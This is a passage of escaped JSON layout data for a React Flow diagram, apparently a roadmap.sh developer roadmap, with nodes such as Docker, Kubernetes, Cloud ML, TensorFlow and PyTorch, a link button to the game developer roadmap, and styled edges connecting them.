-60.62974676937159,\n        \"y\": 2508.94211112394\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"k3FJY26SVxdZx4MLLE25h\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -295.2045658739704,\n        \"y\": 2421.759476497276\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Containerization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dkCVwuy8GKeEi3VJar_Zo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 166,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 166,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -295.2045658739704,\n        \"y\": 2421.759476497276\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 166,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zW_7VLeEHQp8fp_f5N__0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -513.7884552848205,\n        \"y\": 2421.759476497276\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Docker\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 180,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 180\n      },\n      \"positionAbsolute\": {\n        \"x\": -513.7884552848205,\n        \"y\": 2421.759476497276\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 180,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yAf7VDX7dyaT5AdlNnuKD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -513.7884552848205,\n        \"y\": 2522.044978959418\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Docker Compose\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 180,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 180\n      },\n      \"positionAbsolute\": {\n        \"x\": -513.7884552848205,\n        \"y\": 2522.044978959418\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 180,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lUBUUoETjfADmM4OPtwwX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -513.7884552848205,\n        \"y\": 2575.044978959418\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Kubernetes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 180,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 180\n      },\n      \"positionAbsolute\": {\n        \"x\": -513.7884552848205,\n        \"y\": 2575.044978959418\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 180,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dkCVwuy8GKeEi3VJar_Zo\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -295.78755730968635,\n        \"y\": 2672.4970750794264\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"AI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 166,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 166,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -295.78755730968635,\n        \"y\": 2672.4970750794264\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 166,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XvvlvDKfYRCcYtTdWohsd\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -501.9670796692851,\n        \"y\": 2672.4970750794264\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cloud ML\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 139,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 139\n      },\n      \"positionAbsolute\": {\n        \"x\": -501.9670796692851,\n        \"y\": 2672.4970750794264\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"U0RlO_puezQPZP0-iBXgW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -501.9670796692851,\n        \"y\": 2725.4970750794264\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Amazon ML\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 139,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -501.9670796692851,\n        \"y\": 2725.4970750794264\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vBqwmlzoT5XVEhV9IeGso\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -501.9670796692851,\n        \"y\": 2778.4970750794264\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Azure ML\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 139,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 139\n      },\n      \"positionAbsolute\": {\n        \"x\": -501.9670796692851,\n        \"y\": 2778.4970750794264\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jkWvfp4GqckYPQ48GtjlR\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -293.28755730968635,\n        \"y\": 2764.5116332832217\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Deep Learning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 161,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 161\n      },\n      \"positionAbsolute\": {\n        \"x\": -293.28755730968635,\n        \"y\": 2764.5116332832217\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 161,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"iJE9RnKC8QjPnsFeZAbtl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -293.28755730968635,\n        \"y\": 2817.5116332832217\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TensorFlow\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 161,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 161\n      },\n      \"positionAbsolute\": {\n        \"x\": -293.28755730968635,\n        \"y\": 2817.5116332832217\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 161,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LTSIfq10qDJMTCnIIyqvb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -293.28755730968635,\n        \"y\": 2870.5116332832217\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Pytorch\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 161,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 161\n      },\n      \"positionAbsolute\": {\n        \"x\": -293.28755730968635,\n        \"y\": 2870.5116332832217\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 161,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 284,\n      \"height\": 49,\n      \"id\": \"P5IZjP0g1_fnvHy3YTR4q\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -9.74323971963861,\n        \"y\": 2851.475128312919\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Client-side game Development\",\n        \"href\": \"https://roadmap.sh/game-developer\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"dlGf3ZdFXYx0Z6Viu2x-l\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -9.74323971963861,\n        \"y\": 2851.475128312919\n      },\n      \"style\": {},\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 284,\n        \"height\": 49\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"M0aRyhxjzTWUOW95D1g1y\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"Xw4lLz2zWuTkNu8r4oheF\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"mbCXMk97_HKXG3d4TxBOC\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"rQArtuVKGVgLn_fw9yO3b\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-iogwMmOvub2ZF4zgg6WyFx2-rQArtuVKGVgLn_fw9yO3bw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"rQArtuVKGVgLn_fw9yO3b\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"SIvQYH0q1H29NgbtLq3L8\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-rQArtuVKGVgLn_fw9yO3by2-SIvQYH0q1H29NgbtLq3L8z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"lDVD-3i64Mk7-KPJrXmFH\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"vFM311xSa5OqNVove2f6j\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-lDVD-3i64Mk7-KPJrXmFHx2-vFM311xSa5OqNVove2f6jw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"5bJUcx3v4dpdlIsx7bFvK\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"X2KHWgQZDHSVDsTRMUwSj\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-5bJUcx3v4dpdlIsx7bFvKz2-X2KHWgQZDHSVDsTRMUwSjy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"5bJUcx3v4dpdlIsx7bFvK\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"1GML0Jsfdb1Fn-0PNryiQ\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-5bJUcx3v4dpdlIsx7bFvKz2-1GML0Jsfdb1Fn-0PNryiQy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"5bJUcx3v4dpdlIsx7bFvK\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"lDVD-3i64Mk7-KPJrXmFH\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-5bJUcx3v4dpdlIsx7bFvKz2-lDVD-3i64Mk7-KPJrXmFHy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"mUCidjOsVLMAVDf2jmV5F\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"XxBl-zO7CF6DpOZ2bMDxJ\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-6ilqzjvI4J1pUCmTJ33PAy2-XxBl-zO7CF6DpOZ2bMDxJz2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"mUCidjOsVLMAVDf2jmV5F\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"zTCmPUp9j5P1wpGgiboMa\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-6ilqzjvI4J1pUCmTJ33PAy2-zTCmPUp9j5P1wpGgiboMaz2\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"mUCidjOsVLMAVDf2jmV5F\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"ALNR_uSq6ByPUrt6lXkhZ\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-6ilqzjvI4J1pUCmTJ33PAy2-ALNR_uSq6ByPUrt6lXkhZz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"MwLWDlciJOq_0n5S3GoF-\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"TbXJO__4xSnzK1fvvJK86\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-MwLWDlciJOq_0n5S3GoF-x2-TbXJO__4xSnzK1fvvJK86w1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"mUCidjOsVLMAVDf2jmV5F\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"MwLWDlciJOq_0n5S3GoF-\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-6ilqzjvI4J1pUCmTJ33PAx2-MwLWDlciJOq_0n5S3GoF-w1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"IMyHwnXxJK6oFxzOMLxjS\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Vh81GnOUOZvDOlOyI5PwT\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-6ilqzjvI4J1pUCmTJ33PAz2-Vh81GnOUOZvDOlOyI5PwTy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"IMyHwnXxJK6oFxzOMLxjS\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"wD_HWc9YxPhlkilt585pg\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-6ilqzjvI4J1pUCmTJ33PAz2-wD_HWc9YxPhlkilt585pgy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"IMyHwnXxJK6oFxzOMLxjS\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"jsNsyrGzegVnjIF2l52vI\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-6ilqzjvI4J1pUCmTJ33PAz2-jsNsyrGzegVnjIF2l52vIy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"IMyHwnXxJK6oFxzOMLxjS\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"tBOvBpDi3SOKZjAmkxdM0\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-6ilqzjvI4J1pUCmTJ33PAz2-tBOvBpDi3SOKZjAmkxdM0y1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"IMyHwnXxJK6oFxzOMLxjS\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"CCxVnrGDKa1EROXgF_OAm\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-6ilqzjvI4J1pUCmTJ33PAz2-CCxVnrGDKa1EROXgF_OAmy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"IMyHwnXxJK6oFxzOMLxjS\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"RfTcTUjaXyp49FnUf44MK\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-IMyHwnXxJK6oFxzOMLxjSx2-6ilqzjvI4J1pUCmTJ33PAw2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"RfTcTUjaXyp49FnUf44MK\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"WMdCDmFsytsF2AWQXfzC8\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-6ilqzjvI4J1pUCmTJ33PAz2-WMdCDmFsytsF2AWQXfzC8y2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"RfTcTUjaXyp49FnUf44MK\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"OYXKtl4A-vaK6yGO6hS6n\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-6ilqzjvI4J1pUCmTJ33PAz2-OYXKtl4A-vaK6yGO6hS6ny1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"RfTcTUjaXyp49FnUf44MK\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"JE3uZ5U6oe6dVzsmglTl2\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-6ilqzjvI4J1pUCmTJ33PAz2-JE3uZ5U6oe6dVzsmglTl2y2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"RfTcTUjaXyp49FnUf44MK\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"MoyBGT9bscUe8vMN4J0bG\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-6ilqzjvI4J1pUCmTJ33PAz2-MoyBGT9bscUe8vMN4J0bGy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"RfTcTUjaXyp49FnUf44MK\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"pJw8fN1dt3BABtZVz7wGE\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-6ilqzjvI4J1pUCmTJ33PAz2-pJw8fN1dt3BABtZVz7wGEy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"RfTcTUjaXyp49FnUf44MK\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"tg94V7K0mgYhpkUMp_Scv\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-RfTcTUjaXyp49FnUf44MKx2-6ilqzjvI4J1pUCmTJ33PAw2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"tg94V7K0mgYhpkUMp_Scv\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"5kF1fqr-mn5-15e3aMa9k\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-6ilqzjvI4J1pUCmTJ33PAz2-5kF1fqr-mn5-15e3aMa9ky1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"tg94V7K0mgYhpkUMp_Scv\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"2jDV-ovvrkBbTTLk5VbR9\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-6ilqzjvI4J1pUCmTJ33PAz2-2jDV-ovvrkBbTTLk5VbR9y1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"tg94V7K0mgYhpkUMp_Scv\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"OzY-LPcfj1sBm_0F0WbIJ\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-6ilqzjvI4J1pUCmTJ33PAz2-OzY-LPcfj1sBm_0F0WbIJy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"tg94V7K0mgYhpkUMp_Scv\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"6ilqzjvI4J1pUCmTJ33PA\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-tg94V7K0mgYhpkUMp_Scvy2-6ilqzjvI4J1pUCmTJ33PAw1\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"YPvm8XD_FaFYCQ-b7-KsH\",\n      